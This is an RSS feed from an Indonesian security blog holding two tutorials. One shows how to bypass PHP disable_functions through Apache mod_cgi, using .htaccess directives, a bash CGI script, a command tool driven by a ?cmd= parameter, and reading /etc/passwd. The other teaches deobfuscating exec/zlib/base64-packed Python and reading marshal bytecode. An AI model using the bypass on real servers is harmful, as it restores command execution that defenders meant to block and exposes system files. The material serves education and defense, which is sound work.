<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>programming Arsip - Bhineka blog</title>
	<atom:link href="https://blog.bhineka-tech.org/category/programming/feed/" rel="self" type="application/rss+xml" />
	<link>https://blog.bhineka-tech.org/category/programming/</link>
	<description></description>
	<lastBuildDate>Mon, 09 Dec 2024 08:45:08 +0000</lastBuildDate>
	<language>id</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.7.1</generator>

<image>
	<url>https://blog.bhineka-tech.org/wp-content/uploads/2024/10/logo-bintek-min.jpg</url>
	<title>programming Arsip - Bhineka blog</title>
	<link>https://blog.bhineka-tech.org/category/programming/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Bypass disable function using mod_cgi</title>
		<link>https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/</link>
					<comments>https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Mon, 09 Dec 2024 08:32:14 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[technology]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=428</guid>

					<description><![CDATA[<p>Kadangkala pada saat melakukan web hacking dan mendapatkan foothold / initial access pada suatu server kita di restriksi dengan proteksi PHP yang disebut disable function, disable function sendiri bisa dikatakan fitur dan proteksi untuk melakukan disable dan menonaktifkan fungsi fungsi tertentu di php yang dianggap berbahaya seperti system, shell_exec, exec, eval dan lainnya Pada banyak [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/">Bypass disable function using mod_cgi</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Kadangkala pada saat melakukan web hacking dan mendapatkan foothold / initial access pada suatu server kita di restriksi dengan proteksi PHP yang disebut disable function, disable function sendiri bisa dikatakan fitur dan proteksi untuk melakukan disable dan menonaktifkan fungsi fungsi tertentu di php yang dianggap berbahaya seperti <em>system</em>, <em>shell_exec</em>, <em>exec</em>, <em>eval</em> dan lainnya</p>



<p>Pada banyak server, command syscall yang digunakan untuk melakukan eksekusi bash dan shell script di non-aktifkan untuk keperluan keamanan disini bertujuan agar attacker tidak dapat melakukan compromised lebih jauh pada target seperti melakukan <em>privilege escalation</em>, <em>pivoting</em>, <em>persistence </em>maupun <em>post exploitation</em>.</p>



<p>Jadi disini aku akan membahas salah satu teknik yang digunakan untuk melakukan bypass disable function yang memanfaatkan module cgi pada webserver apache dan yang perlu digaris bawahi untuk melakukan bypass menggunakan teknik ini harus ada requirement atau kondisi agar berhasil yaitu mod_cgi perlu diaktifkan dan kedua direktif AllowOverride pada konfigurasi apache harus aktif yang bertujuan agar kita bisa melakukan overwrite konfigurasi menggunakan .htaccess file.</p>



<p>Pertama setup lab pada vps atau di local untuk pengujian dan testing, selanjutnya jelas kita perlu install webserver apache dan lakukan setting disable function, karena case kali ini kita menggunakan php 8.3 jadi untuk php.ini kita perlu setting pada directory <em><strong>/etc/php/8.3/apache2</strong>/<strong>php.ini</strong></em></p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="970" height="477" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140811.png" alt="" class="wp-image-429" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140811.png 970w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140811-300x148.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140811-768x378.png 768w" sizes="(max-width: 970px) 100vw, 970px" /></figure>



<p>kemudian kita perlu install cgi module pada apache lalu aktifkan menggunakan command a2enmod</p>



<figure class="wp-block-image size-full"><img decoding="async" width="1025" height="207" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140934.png" alt="" class="wp-image-430" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140934.png 1025w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140934-300x61.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140934-768x155.png 768w" sizes="(max-width: 1025px) 100vw, 1025px" /></figure>



<p>selanjutnya jangan lupa kita set direktif AllowOverride ke All hal ini bertujuan agar file .htaccess bisa ter-eksekusi</p>



<figure class="wp-block-image size-full"><img decoding="async" width="910" height="545" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/directibe.png" alt="" class="wp-image-432" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/directibe.png 910w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/directibe-300x180.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/directibe-768x460.png 768w" sizes="(max-width: 910px) 100vw, 910px" /></figure>



<p>Setelah itu restart apache lalu kita perlu melihat dan verifikasi jika module cgi / mod_cgi dan disable function berhasil di konfigurasi, caranya sederhana cukup buat file php dan tambahkan syntax berikut:</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-901ba5ad6a255b2f17f510fc19cd1ada"><code>&lt;?php
echo "disable function: " . ini_get("disable_functions");
echo "&lt;br>&lt;br>";
echo "apache module: &lt;br>";
foreach(apache_get_modules() as $modules){
    echo $modules . "&lt;br>";
}

?></code></pre>



<p>Dan jika kita buka via browser</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="736" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942-1024x736.png" alt="" class="wp-image-433" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942-1024x736.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942-300x216.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942-768x552.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942.png 1345w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini menunjukkan kita berhasil melakukan konfigurasi yang dimana kita tidak akan bisa melakukan eksekusi fungsi syscall karena semua fungsi syscall berbahaya kita lakukan disable dan kita akan manfaatkan mod_cgi ini untuk melakukan bypass disable function. </p>



<p>Sekilas tentang mod_cgi, jadi mod_cgi itu merupakan module cgi pada webserver apache yang memungkinkan webserver untuk melakukan handle dan eksekusi suatu CGI script yang dimana CGI sendiri merupakan protocol yang menyediakan cara untuk melakukan eksekusi script melalui request http contoh sederhananya kita bisa melakukan eksekusi pada file perl(.pl), python(.py) maupun bash(.sh) langsung dari web request atau browser.</p>



<p>Langkah awal kita perlu membuat directory baru dan menambahkan htaccess agar suatu extension dikenali dengan CGI script, simple-nya kita akan membuat bash script agar bisa langsung melakukan eksekusi command. Disini kita hanya perlu membuat htaccess dengan 2 direktif </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-ac845446031e70b280c87e6a7f870c91"><code>Options +ExecCGI
AddHandler cgi-script .bhitech</code></pre>



<p>Direktif pertama yaitu <strong><em>Options +ExecCGI</em></strong> yang memberitahu webserver untuk mengizinkan eksekusi CGI script lalu direcktif kedua webserver akan melakukan eksekusi jika ditemukan extension .bhitech dan untuk extension opsional kita bisa menambahkan apapun misalkan .cgi, .test, .hijack, .bypass dan lain lain ya</p>



<p>Langkah kedua kita perlu membuat bash script dengan extension .bhitech sederhana saja kita perlu shebang, content type dan command apa yang akan dijalankan</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-25e724b5c3520c72467ee7b2c7fbcc0b"><code>#!/bin/bash
echo -ne "Content-type: text/html\n\n"
id</code></pre>



<p>Disini kita akan menjalankan command id untuk melihat id dan user kita sekarang jadi pada directory akan menjadi 2 file yaitu htaccess dan cgi script seperti ini </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="835" height="265" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145230.png" alt="" class="wp-image-436" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145230.png 835w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145230-300x95.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145230-768x244.png 768w" sizes="auto, (max-width: 835px) 100vw, 835px" /></figure>



<p>Lalu jika kita open via browser pada file script.bhitech</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="362" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-1024x362.png" alt="" class="wp-image-437" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-1024x362.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-300x106.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-768x271.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-1536x543.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414.png 1670w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terlihat command id tereksekusi yang berarti kita berhasil melakukan bypass disable function dan untuk command lain mudah saja kita ganti pada file script.bhitech misalkan uname -a<br></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="248" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-1024x248.png" alt="" class="wp-image-439" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-1024x248.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-300x73.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-768x186.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-1536x372.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745.png 1597w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Yang akan menampilkan informasi tentang kernel pada server. mungkin akan ribet jika harus modifikasi file untuk melakukan eksekusi command lain jadi disini aku membuat tools untuk melakukan automasi agar lebih mudah dan dinamis </p>



<p><a href="https://github.com/ibrahimzx/mod-cgi-disable-function">https://github.com/ibrahimzx/mod-cgi-disable-function</a></p>



<p>Untuk menggunakan cukup mudah dengan hanya menambahkan GET parameter ?cmd pada url </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="473" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459-1024x473.png" alt="" class="wp-image-442" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459-1024x473.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459-300x138.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459-768x355.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459.png 1250w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini misalkan ingin membaca /etc/passwd tinggal tambahkan parameter <em><strong>?cmd=cat /etc/passwd</strong></em> dan command akan dieksekusi serta ditampilkan pada browser </p>



<p><strong><em>Penutup</em></strong></p>



<p>Teknik diatas merupakan salah satu dari sekian banyak cara untuk melakukan bypass pada disable function, disini agar pembaca lebih aware dengan tidak hanya mengandalkan disable function dan menganggap itu aman bahkan jika mod_cgi tidak diaktifkan attacker bisa memanfaatkan fungsi mail dengan <em><strong>LD_PRELOAD </strong></em>atau pada webserver <strong><em>nginx </em></strong>bisa dengan memanfaatkan <em><strong>php-fpm</strong></em> dan protocol gopher untuk mencapai eksekusi command. Ada juga teknik yang melakukan exploiation pada php itu sendiri dengan memanfaakan beberapa bug PHP yang sudah di publish pada <a href="https://bugs.php.net/">https://bugs.php.net/</a> seperti melakukan poisoning process dan menulis data berbahaya pada memory. Oke mungkin cukup sekian artikel kali ini dan semoga bermanfaat.</p>



<p><em>&#8220;Tidak ada akhir untuk pendidikan. Bukan berarti Anda membaca buku, lulus ujian, dan menyelesaikan pendidikan. Seluruh kehidupan, dari saat Anda lahir hingga saat Anda mati, adalah proses pembelajaran.&#8221;</em> <strong>&#8211; Jiddu Krishnamurti</strong></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/">Bypass disable function using mod_cgi</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Python reverse engineering</title>
		<link>https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/</link>
					<comments>https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Fri, 06 Dec 2024 11:18:14 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[technology]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=409</guid>

					<description><![CDATA[<p>Python merupakan suatu scripting language atau bahasa scripting karena sifatnya yang ringan biasanya digunakan untuk tujuan automation, exploit development, pengembangan tools bahkan ada juga web apps yang memakai python dengan framework seperti flask maupun django. Karena mudah dipelajari dan hampir compatible di semua platform, python banyak digunakan mulai dari programmer hingga pentester dan pada topik [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/">Python reverse engineering</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Python merupakan suatu scripting language atau bahasa scripting karena sifatnya yang ringan biasanya digunakan untuk tujuan automation, exploit development, pengembangan tools bahkan ada juga web apps yang memakai python dengan framework seperti flask maupun django. </p>



<p>Karena mudah dipelajari dan hampir compatible di semua platform, python banyak digunakan mulai dari programmer hingga pentester dan pada topik kali ini kita akan membahas bagaimana melakukan reverse engineering pada python karena biasanya programmer melakukan semacam teknik packing pada source code seperti melakukan obfuscate, compile serta converting kedalam bytecode.</p>



<p>Hal yang perlu diketahui disini beberapa program python pada banyak kasus tidak bisa dikembalikan kedalam source code aslinya jika programmer melakukan compile dan serialization menjadi bytecode seperti menggunakan marshal, pyarmor ataupun menjadikannya suatu executable file tapi jika programmer hanya melakukan obfuscate pada code menggunakan fungsi semacam eval, lambda, zlib, exec besar kemungkinan kita masih bisa mendapatkan source code asli pada program.</p>



<p>Kita bisa contohkan dengan program sederhana </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-c7a562dc60896b4e6a51410c0e5e6ae6"><code>import codecs

def validation(input):
        valid_input = codecs.decode("ouvarxn-grpu1336", "rot-13")
        if input == valid_input:
                return True


        return False


print("Enter valid input: ", end="")
input_user = input()

if validation(input_user):
        print("Input correct!!")
else:
        print("Input incorrect no have access!!")</code></pre>



<p>Scriptnya sangat sederhana dimana terdapat satu function untuk melakukan validasi input dengan string yang sudah dilakukan substitusi menggunakan ROT-13 lalu setelah di obfuscate menjadi seperti ini :</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-c1d6e1166bef409721d8c06c38086437"><code>_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__&#91;::-1]));exec((_)(b'A+pAW8w/+9cxY35EeyFVcLbyqDKGpUOanCFCUVVwGWItIYh9LzSSfRhole9RY8NVAqm0Bah4cir/PYFOiiCVIi1GYChx1LLEryJr+r3w0YzDOW0X8wGWYV90lCZwxIi5r4DAhED74pv6ZfYp7jf3tX4rqiVTMgCpUKa7CWGdZ0xV2dom1pnQNOz+Uk9uDlDPVEkizxnF4pDe1NnS9rWKmbls9A3Ho+wyR66EjIz3Qm4sckZDEMgKEIjogXq07OlXac8e8DY9HHOVzSQ5tXx5M8GZxa3nAx41zRazZRm2UPgh7ZpwocDx6/uQ05I03N63GPjsmpXjCZ/kHtbPvtGe1jWfqZf+tNkqC3e9Yy8OYJIh85XaZnesf7xZmjskHUtcJNkebJ5XA08w2Ptm/hHMbot288OWyQrTNR2ZOOXC+sSIa1wRL7YdNFAWUSd97hoc5Z7Am26D9Lm+wN4moDKJOXM639h0v39+3y2iBd3s6nvx1ZMJ7apc0LVYh6OSxTBG6VbOPDNAAAkQ2udwFwJe'))</code></pre>



<p>Dan jika kita run keduanya sama sama menampilkan output yang sama dan program juga berjalan dengan benar hanya saja pada code obfuscate kita tidak mengerti fungsi apa dan seperti apa source code didalamnya karena sudah dilakukan encoding dengan zlib dan base64.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="239" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237-1024x239.png" alt="" class="wp-image-415" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237-1024x239.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237-300x70.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237-768x180.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237.png 1330w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Jadi mudah saja untuk melakukan deobfuscate kita tinggal me-replace fungsi<em> exec()</em> dengan <em>print()</em> karena kita tau jika fungsi exec() digunakan untuk melakukan eksekusi source code sedangkan fungsi print() digunakan untuk menampilkan output ke layar </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-a3ead5281c2a32cc7a07f5b6f23179c8"><code>_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__&#91;::-1]));print((_)(b'A+pAW8w/+9cxY35EeyFVcLbyqDKGpUOanCFCUVVwGWItIYh9LzSSfRhole9RY8NVAqm0Bah4cir/PYFOiiCVIi1GYChx1LLEryJr+r3w0YzDOW0X8wGWYV90lCZwxIi5r4DAhED74pv6ZfYp7jf3tX4rqiVTMgCpUKa7CWGdZ0xV2dom1pnQNOz+Uk9uDlDPVEkizxnF4pDe1NnS9rWKmbls9A3Ho+wyR66EjIz3Qm4sckZDEMgKEIjogXq07OlXac8e8DY9HHOVzSQ5tXx5M8GZxa3nAx41zRazZRm2UPgh7ZpwocDx6/uQ05I03N63GPjsmpXjCZ/kHtbPvtGe1jWfqZf+tNkqC3e9Yy8OYJIh85XaZnesf7xZmjskHUtcJNkebJ5XA08w2Ptm/hHMbot288OWyQrTNR2ZOOXC+sSIa1wRL7YdNFAWUSd97hoc5Z7Am26D9Lm+wN4moDKJOXM639h0v39+3y2iBd3s6nvx1ZMJ7apc0LVYh6OSxTBG6VbOPDNAAAkQ2udwFwJe'))</code></pre>



<p>Disini kita ubah exec() dengan print() lalu jika kita jalankan</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="167" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905-1024x167.png" alt="" class="wp-image-416" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905-1024x167.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905-300x49.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905-768x126.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905.png 1346w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>terlihat menampilkan output tetapi output masih menunjukkan code yang masih ter-obfuscate dan bisa kita asumsikan jika obfuscate pada program menggunakan double encoding dan caranya untuk mendapatkan source code aslinya dengan copy ouput dan kita buat file python baru lalu ubah exec() menjadi print() jalankan dan jika belum menampilkan code asli ulangi hingga menemukan source code aslinya.</p>



<p>Cara cepatnya lebih baik kita membuat script automation decoding agar tidak perlu repot repot melakukan decoding</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-3d0fe4c96b5ba1a82c304db288341f6b"><code>_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__&#91;::-1]));


obfuscate_str = (_)(b'A+pAW8w/+9cxY35EeyFVcLbyqDKGpUOanCFCUVVwGWItIYh9LzSSfRhole9RY8NVAqm0Bah4cir/PYFOiiCVIi1GYChx1LLEryJr+r3w0YzDOW0X8wGWYV90lCZwxIi5r4DAhED74pv6ZfYp7jf3tX4rqiVTMgCpUKa7CWGdZ0xV2dom1pnQNOz+Uk9uDlDPVEkizxnF4pDe1NnS9rWKmbls9A3Ho+wyR66EjIz3Qm4sckZDEMgKEIjogXq07OlXac8e8DY9HHOVzSQ5tXx5M8GZxa3nAx41zRazZRm2UPgh7ZpwocDx6/uQ05I03N63GPjsmpXjCZ/kHtbPvtGe1jWfqZf+tNkqC3e9Yy8OYJIh85XaZnesf7xZmjskHUtcJNkebJ5XA08w2Ptm/hHMbot288OWyQrTNR2ZOOXC+sSIa1wRL7YdNFAWUSd97hoc5Z7Am26D9Lm+wN4moDKJOXM639h0v39+3y2iBd3s6nvx1ZMJ7apc0LVYh6OSxTBG6VbOPDNAAAkQ2udwFwJe')


decode = str(obfuscate_str).replace('b"exec', "").replace('"', '')

result = b""
for i in range(0, 4):
        x = eval(decode)
        decode = str(x).replace('b"exec', "").replace('"', '')
        result = x


print(result.decode('utf-8'))
</code></pre>



<p>Jadi fungsi pada script diatas yaitu akan melakukan iterasi sebanyak 5 kali serta melakukan replace fungsi exec lalu dilakukan eval untuk menyimpan hasil decoding pada variable x hingga menemukan source code asli dan terakhir menggunakan print untuk menampilkan output code pada layar</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="657" height="402" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-170600.png" alt="" class="wp-image-417" style="width:827px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-170600.png 657w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-170600-300x184.png 300w" sizes="auto, (max-width: 657px) 100vw, 657px" /></figure>



<p>Jika dijalankan maka akan manampilkan source code hasil deobfuscate yang menunjukkan kita berhasil mendapatkan source code aslinya. Case disini source code bisa dikembalikan pada bentuk semula karena hanya obfuscate memakai double encoding tapi bagaimana jika programmer melakukan compiling ataupun serialization ? jawabannya dengan melakukan analysis bytecode</p>



<p>Kita perlu kenalan dulu dengan marshal, jadi marshal merupakan fungsi atau modul bawaan dari python yang digunakan untuk mendapatkan byte code dari suatu script python itu sendiri jadi bisa kita sebut marshal ini sebagai suatu pseudo compiled dimana dengan marshal kita bisa melakukan converting code python ke binary format dan serialization menjadi bytecode object.</p>



<p>kita bisa melakukan compile python script menggunakan command :</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-21e8c1a783c71ba2aaccf650788b6760"><code>python3 -m py_compile source_codes.py</code></pre>



<p>dan outputnya nanti akan tersimpan pada directory __<strong>pycache</strong>__ yang dimana extension file berubah menjadi .pyc. Sebenarnya.pyc merupakan file marshal yang ditambahkan header dan jika beruntung kita bisa melakukan decompile menggunakan uncompyle6 untuk mendapatkan source code asli tapi tidak selalu berhasil jadi cara alternatifnya kita perlu membaca bytecode mengunakan modul python yaitu <strong><em>dis</em></strong>.</p>



<p>untuk mengambil bytecode script python pada pyc mudah saja kita perlu mengambil byte setelah header dan paddingnya yaitu 16 byte lalu kita simpan pada file terpisah dan lakukan load menggunakan marshal.loads()</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="790" height="210" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-173920.png" alt="" class="wp-image-418" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-173920.png 790w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-173920-300x80.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-173920-768x204.png 768w" sizes="auto, (max-width: 790px) 100vw, 790px" /></figure>



<p>Kita bisa ambil row kedua setelah 16 byte pada offset 00000010</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-e6290d764c9537c074f63a66b35c530e"><code>import marshal

f = open("__pycache__/source_code.cpython-311.pyc", "rb").read()&#91;16:]
#f = open("source_code.py", "r").read()

print(f)
#code = compile(f, '', 'exec')
#print(marshal.dumps(code))
</code></pre>



<p>dan jika kita jalankan </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="407" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504-1024x407.png" alt="" class="wp-image-419" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504-1024x407.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504-300x119.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504-768x306.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504.png 1347w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>maka akan menampilkan semua bytecode marshal pada file pyc kemudian kita bisa copas semua output lalu buat file baru yang nantinya kita akan eksekusi menggunakan marshal.loads()</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="343" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651-1024x343.png" alt="" class="wp-image-420" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651-1024x343.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651-300x100.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651-768x257.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651.png 1326w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>jika kita eksekusi sama saja dengan program .pyc kita</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="749" height="178" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174722.png" alt="" class="wp-image-421" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174722.png 749w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174722-300x71.png 300w" sizes="auto, (max-width: 749px) 100vw, 749px" /></figure>



<p>Disini bytecode dari pyc berguna untuk melakukan disassemble menggunakan modul <em><strong>dis</strong></em> yang kita bahas sebelumnya</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="330" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212-1024x330.png" alt="" class="wp-image-422" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212-1024x330.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212-300x97.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212-768x247.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212.png 1329w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>kita hanya perlu import modul dis dan lakukan pemanggilan fungsi <em><strong>dis.dis</strong></em> dengan parameter hasil marshal.loads() yang sebelumnya kita dapatkan</p>



